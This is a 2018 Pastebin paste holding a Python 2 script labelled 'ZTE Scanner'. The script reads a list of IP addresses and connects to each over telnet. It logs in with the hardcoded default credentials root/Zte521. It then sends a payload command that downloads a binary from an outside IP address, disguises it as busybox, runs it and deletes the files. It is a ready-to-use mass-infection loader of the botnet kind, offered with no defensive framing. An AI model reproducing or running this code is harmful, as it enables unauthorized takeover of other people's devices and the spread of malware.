mysql_Anarchy

[ PYTHON ] ZTE Scanner | By LNO

Jun 3rd, 2018
723
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.68 KB | None | 0 0
  1. import threading, sys, time, random, socket, re, os
  2.  
  3. if len(sys.argv) < 2:
  4.         print "Usage: python "+sys.argv[0]+" <list>"
  5.         sys.exit()
  6.  
  7. ips = open(sys.argv[1], "r").readlines()
  8. username = "root"
  9. password = "Zte521"
  10. cmd = "cd /var/; rm -rf busybox filename; wget http://54.68.172.22/hoho -O filename ; cp /bin/busybox ./; busybox cat filename > busybox;./busybox ;rm -rf busybox filename" #KEEP FORMAT OF PAYLOAD
  11. #cmd = "reboot"
  12. count = 0
  13. def readUntil(tn, string, timeout=15):
  14.     buf = ''
  15.     start_time = time.time()
  16.     while time.time() - start_time < timeout:
  17.         buf += tn.recv(1024)
  18.         time.sleep(0.01)
  19.         if string in buf: return buf
  20.     raise Exception('TIMEOUT!')
  21.  
  22. class ztee(threading.Thread):
  23.         def __init__ (self, ip):
  24.             threading.Thread.__init__(self)
  25.             self.ip = str(ip).rstrip('\n')
  26.         def run(self):
  27.         try:
  28.             tn = socket.socket()
  29.             tn.settimeout(5)
  30.             tn.connect((self.ip,23))
  31.         except Exception:
  32.             print "[%s] Timeout"%(count)
  33.         try:
  34.             time.sleep(0.01)
  35.             hoho = ''
  36.             hoho += readUntil(tn, ":")
  37.             if "ogin" in hoho:
  38.                 tn.send(username + "\n")
  39.         except Exception:
  40.             tn.close()
  41.         try:
  42.             hoho = ''
  43.             hoho += readUntil(tn, ":")
  44.             if "assword" in hoho:
  45.                 tn.send(password + "\n")
  46.                 time.sleep(3)
  47.         except Exception:
  48.             tn.close()
  49.         try:
  50.             mp = ''
  51.             mp += tn.recv(1024)
  52.             if "#" in mp or "$" in mp:
  53.                 tn.send(cmd + "\n")
  54.                 print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip)
  55.                 time.sleep(30)
  56.                 tn.close()             
  57.         except Exception:
  58.             tn.close()
  59.             print "[%s] Timeout"%(count)
  60. for ip in ips:
  61.     try:
  62.         count += 1
  63.         t = ztee(ip)
  64.         t.start()
  65.         time.sleep(0.02)
  66.     except:
  67.         pass
Advertisement
Add Comment
Please, Sign In to add comment